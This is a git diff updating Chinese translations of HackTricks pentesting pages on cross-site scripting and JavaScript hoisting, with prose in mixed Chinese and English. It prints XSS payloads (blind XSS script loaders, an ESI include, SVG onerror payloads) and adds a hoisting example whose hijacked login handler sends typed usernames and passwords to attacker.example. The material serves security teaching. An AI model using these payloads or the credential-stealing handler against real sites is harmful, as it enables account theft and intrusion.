+### 滥用 Service Workers
 
 
 {{#ref}}
 abusing-service-workers.md
 {{#endref}}
 
-### 访问影子DOM
+### 访问 Shadow DOM
 
 
 {{#ref}}
 shadow-dom.md
 {{#endref}}
 
-### 多语言混合
+### Polyglots
 
 
 {{#ref}}
 https://github.com/carlospolop/Auto_Wordlists/blob/main/wordlists/xss_polyglots.txt
 {{#endref}}
 
-### 盲XSS有效载荷
+### Blind XSS payloads
 
-您还可以使用: [https://xsshunter.com/](https://xsshunter.com)
+你也可以使用： [https://xsshunter.com/](https://xsshunter.com)
 ```html
 "><img src='//domain/xss'>
 "><script src="//domain/xss.js"></script>
@@ -1507,7 +1561,7 @@ javascript:eval(atob("Y29uc3QgeD1kb2N1bWVudC5jcmVhdGVFbGVtZW50KCdzY3JpcHQnKTt4Ln
 ```
 ### Regex - 访问隐藏内容
 
-从 [**这篇文章**](https://blog.arkark.dev/2022/11/18/seccon-en/#web-piyosay) 可以了解到，即使某些值从 JS 中消失，仍然可以在不同对象的 JS 属性中找到它们。例如，REGEX 的输入在正则表达式的输入值被移除后仍然可以找到：
+From [**this writeup**](https://blog.arkark.dev/2022/11/18/seccon-en/#web-piyosay) it's possible to learn that even if some values disappear from JS, it's still possible to find them in JS attributes in different objects. 例如，一个 REGEX 的输入在该输入值被移除之后，仍然可以被找到：
 ```javascript
 // Do regex with flag
 flag = "CTF{FLAG}"
@@ -1524,7 +1578,7 @@ console.log(
 document.all["0"]["ownerDocument"]["defaultView"]["RegExp"]["rightContext"]
 )
 ```
-### 暴力破解列表
+### Brute-Force List
 
 
 {{#ref}}
@@ -1533,34 +1587,36 @@ https://github.com/carlospolop/Auto_Wordlists/blob/main/wordlists/xss.txt
 
 ## XSS 利用其他漏洞
 
-### Markdown 中的 XSS
+### XSS 在 Markdown 中
 
-可以注入将被渲染的 Markdown 代码吗？也许你可以获得 XSS！检查：
+可以注入会被渲染的 Markdown 代码吗？也许你可以触发 XSS！查看：
 
 
 {{#ref}}
 xss-in-markdown.md
 {{#endref}}
 
-### XSS 到 SSRF
+### XSS 转为 SSRF
 
-在一个 **使用缓存的站点** 上获得了 XSS？尝试通过边缘侧包含注入将其 **升级到 SSRF**，使用以下有效载荷：
+在一个**使用缓存的站点**上发现了 XSS？尝试通过 Edge Side Include Injection 将其**升级为 SSRF**，使用以下 payload:
 ```python
 <esi:include src="http://yoursite.com/capture" />
 ```
-利用它来绕过 cookie 限制、XSS 过滤器等更多！\
-有关此技术的更多信息，请查看：[**XSLT**](../xslt-server-side-injection-extensible-stylesheet-language-transformations.md)。
+使用它可以绕过 cookie 限制、XSS 过滤器以及更多！\
+More information about this technique here: [**XSLT**](../xslt-server-side-injection-extensible-stylesheet-language-transformations.md).
 
-### 动态创建 PDF 中的 XSS
+### 动态创建的 PDF 中的 XSS
+
+如果网页使用由用户控制的输入创建 PDF，你可以尝试**欺骗正在创建 PDF 的 bot**去**执行任意 JS 代码**。\
+所以，如果**PDF creator bot finds**某种**HTML** **tags**，它就会**interpret**它们，你可以**abuse**此行为以导致**Server XSS**。
 
-如果网页使用用户控制的输入创建 PDF，您可以尝试 **欺骗创建 PDF 的机器人** 以 **执行任意 JS 代码**。\
-因此，如果 **PDF 创建机器人发现** 某种 **HTML** **标签**，它将会 **解释** 这些标签，您可以 **利用** 这种行为导致 **服务器 XSS**。
 
 {{#ref}}
 server-side-xss-dynamic-pdf.md
 {{#endref}}
 
-如果您无法注入 HTML 标签，尝试 **注入 PDF 数据** 可能是值得的：
+如果你无法注入 HTML 标签，值得尝试**注入 PDF 数据**：
+
 
 {{#ref}}
 pdf-injection.md
@@ -1568,15 +1624,15 @@ pdf-injection.md
 
 ### Amp4Email 中的 XSS
 
-AMP 旨在加速移动设备上的网页性能，结合了 HTML 标签和 JavaScript，以确保功能性，同时强调速度和安全性。它支持多种组件以实现各种功能，您可以通过 [AMP components](https://amp.dev/documentation/components/?format=websites) 访问。
+AMP 旨在加速移动设备上的网页性能，使用 HTML 标签并辅以 JavaScript 来保证功能，同时强调速度与安全。它支持一系列用于各种功能的组件，可通过 [AMP components](https://amp.dev/documentation/components/?format=websites) 访问。
 
-[**AMP for Email**](https://amp.dev/documentation/guides-and-tutorials/learn/email-spec/amp-email-format/) 格式将特定的 AMP 组件扩展到电子邮件中，使收件人能够直接在电子邮件中与内容互动。
+The [**AMP for Email**](https://amp.dev/documentation/guides-and-tutorials/learn/email-spec/amp-email-format/) format extends specific AMP components to emails, enabling recipients to interact with content directly within their emails.
 
-示例 [**在 Gmail 中的 Amp4Email 的 XSS 写作**](https://adico.me/post/xss-in-gmail-s-amp4email)。
+Example [**writeup XSS in Amp4Email in Gmail**](https://adico.me/post/xss-in-gmail-s-amp4email).
 
-### XSS 上传文件 (svg)
+### 通过上传文件触发的 XSS (svg)
 
-将以下文件作为图像上传（来自 [http://ghostlulz.com/xss-svg/](http://ghostlulz.com/xss-svg/)）：
+作为图片上传类似下面这样的文件（来自 [http://ghostlulz.com/xss-svg/](http://ghostlulz.com/xss-svg/)）：
 ```html
 Content-Type: multipart/form-data; boundary=---------------------------232181429808
 Content-Length: 574
@@ -1632,9 +1688,10 @@ id="foo"/>
 ```xml
 <svg><use href="data:image/svg+xml,&lt;svg id='x' xmlns='http://www.w3.org/2000/svg' &gt;&lt;image href='1' onerror='alert(1)' /&gt;&lt;/svg&gt;#x" />
 ```
-找到 **更多 SVG 载荷在** [**https://github.com/allanlw/svg-cheatsheet**](https://github.com/allanlw/svg-cheatsheet)
+查找 **更多 SVG payloads 在** [**https://github.com/allanlw/svg-cheatsheet**](https://github.com/allanlw/svg-cheatsheet)
+
+## 杂项 JS Tricks & 相关信息
 
-## 其他 JS 技巧与相关信息
 
 {{#ref}}
 other-js-tricks.md
@@ -1649,4 +1706,9 @@ other-js-tricks.md
 - [https://netsec.expert/2020/02/01/xss-in-2020.html](https://netsec.expert/2020/02/01/xss-in-2020.html)
 - [https://www.intigriti.com/researchers/blog/hacking-tools/hunting-for-blind-cross-site-scripting-xss-vulnerabilities-a-complete-guide](https://www.intigriti.com/researchers/blog/hacking-tools/hunting-for-blind-cross-site-scripting-xss-vulnerabilities-a-complete-guide)
 
+## 参考
+
+- [从 "Low-Impact" RXSS 到 Credential Stealer：A JS-in-JS Walkthrough](https://r3verii.github.io/bugbounty/2025/08/25/rxss-credential-stealer.html)
+- [MDN eval()](https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Global_Objects/eval)
+
 {{#include ../../banners/hacktricks-training.md}}
diff --git a/src/pentesting-web/xss-cross-site-scripting/js-hoisting.md b/src/pentesting-web/xss-cross-site-scripting/js-hoisting.md
index 1e8269bb2..43f032b41 100644
--- a/src/pentesting-web/xss-cross-site-scripting/js-hoisting.md
+++ b/src/pentesting-web/xss-cross-site-scripting/js-hoisting.md
@@ -2,31 +2,31 @@
 
 {{#include ../../banners/hacktricks-training.md}}
 
-## 基本信息
+## Basic Information
 
-在JavaScript语言中，有一种机制称为**提升**，它描述了变量、函数、类或导入的声明在代码执行之前概念上被提升到其作用域的顶部。这个过程是由JavaScript引擎自动执行的，脚本会经过多次遍历。
+在 JavaScript 语言中，存在一种称为 **Hoisting** 的机制：在代码执行之前，变量、函数、class 或 import 的声明在概念上会被提升到其作用域的顶部。这个过程由 JavaScript 引擎自动执行，引擎会对脚本进行多次遍历。
 
-在第一次遍历中，引擎解析代码以检查语法错误，并将其转换为抽象语法树。这个阶段包括提升，这是一个将某些声明移动到执行上下文顶部的过程。如果解析阶段成功，表明没有语法错误，则脚本执行继续进行。
+在第一次遍历中，引擎会解析代码以检查语法错误并将其转换为抽象语法树。此阶段包含 hoisting（提升），即将某些声明移动到执行上下文顶部的过程。如果解析阶段成功（即没有语法错误），脚本就会继续执行。
 
-理解以下几点至关重要：
+重要的是要理解：
 
-1. 脚本必须没有语法错误才能执行。语法规则必须严格遵守。
-2. 代码在脚本中的位置会影响执行，因为提升，尽管执行的代码可能与其文本表示不同。
+1. 脚本必须没有语法错误才能执行。必须严格遵守语法规则。
+2. 由于 hoisting，代码在脚本中的位置会影响执行，尽管实际执行的代码可能与其文本表示不同。
 
-#### 提升的类型
+#### Types of Hoisting
 
-根据MDN的信息，JavaScript中有四种不同类型的提升：
+根据 MDN 的信息，JavaScript 中有四种不同的 hoisting 类型：
 
-1. **值提升**：允许在声明行之前在其作用域内使用变量的值。
-2. **声明提升**：允许在声明之前引用变量而不会引发`ReferenceError`，但变量的值将是`undefined`。
-3. 这种类型由于变量在实际声明行之前的声明而改变其作用域内的行为。
-4. 声明的副作用在包含它的其余代码被评估之前发生。
+1. **Value Hoisting**：允许在变量声明行之前在其作用域内使用变量的值。
+2. **Declaration Hoisting**：允许在变量声明之前在其作用域内引用该变量而不会导致 `ReferenceError`，但变量的值将是 `undefined`。
+3. 这种类型会改变其作用域内的行为，因为变量在其实际声明行之前就被声明了。
+4. 声明的副作用会在包含它的其余代码被求值之前发生。
 
-详细来说，函数声明表现出类型1的提升行为。`var`关键字展示了类型2的行为。词法声明，包括`let`、`const`和`class`，显示了类型3的行为。最后，`import`语句是独特的，因为它们同时具有类型1和类型4的提升行为。
+具体来说，函数声明表现出类型 1 的 hoisting 行为。`var` 关键字表现出类型 2 的行为。词法声明（包括 `let`、`const` 和 `class`）表现出类型 3 的行为。最后，`import` 语句比较特殊，它既具有类型 1，也具有类型 4 的 hoisting 行为。
 
-## 场景
+## Scenarios
 
-因此，如果您有场景可以**在未声明对象后注入JS代码**，您可以通过声明它来**修复语法**（这样您的代码会被执行而不是抛出错误）：
+因此，如果你有场景能够在**在未声明对象被使用后注入 JS 代码**，你可以通过声明它来**修复语法**（这样你的代码会被执行，而不是抛出错误）：
 ```javascript
 // The function vulnerableFunction is not defined
 vulnerableFunction('test', '<INJECTION>');
@@ -127,11 +127,31 @@ alert(1) -
 },
 })
 }
+trigger()
 ```
-## 参考文献
+### 通过 `const` 锁定名称以抢占后续声明
+
+如果你能在顶层 `function foo(){...}` 被解析之前执行代码，声明一个具有相同名字的词法绑定（例如 `const foo = ...`）会阻止随后函数声明重新绑定该标识符。 这可以在 RXSS 中被滥用，用来劫持页面后面定义的关键处理程序：
+```javascript
+// Malicious code runs first (e.g., earlier inline <script>)
+const DoLogin = () => {
+const pwd  = Trim(FormInput.InputPassword.value)
+const user = Trim(FormInput.InputUtente.value)
+fetch('https://attacker.example/?u='+encodeURIComponent(user)+'&p='+encodeURIComponent(pwd))
+}
+
+// Later, the legitimate page tries to declare:
+function DoLogin(){ /* ... */ } // cannot override the existing const binding
+```
+注意事项
+- 这依赖于执行顺序和全局（顶层）作用域。
+- 如果你的 payload 在 `eval()` 内被执行，记住 `eval` 内的 `const/let` 是块级作用域，不会创建全局绑定。注入一个新的 `<script>` 元素，并在其中放入代码以建立真正的全局 `const`。
+
+## 参考
 
 - [https://jlajara.gitlab.io/Javascript_Hoisting_in_XSS_Scenarios](https://jlajara.gitlab.io/Javascript_Hoisting_in_XSS_Scenarios)
 - [https://developer.mozilla.org/en-US/docs/Glossary/Hoisting](https://developer.mozilla.org/en-US/docs/Glossary/Hoisting)
 - [https://joaxcar.com/blog/2023/12/13/having-some-fun-with-javascript-hoisting/](https://joaxcar.com/blog/2023/12/13/having-some-fun-with-javascript-hoisting/)
+- [From "Low-Impact" RXSS to Credential Stealer: A JS-in-JS Walkthrough](https://r3verii.github.io/bugbounty/2025/08/25/rxss-credential-stealer.html)
 
 {{#include ../../banners/hacktricks-training.md}}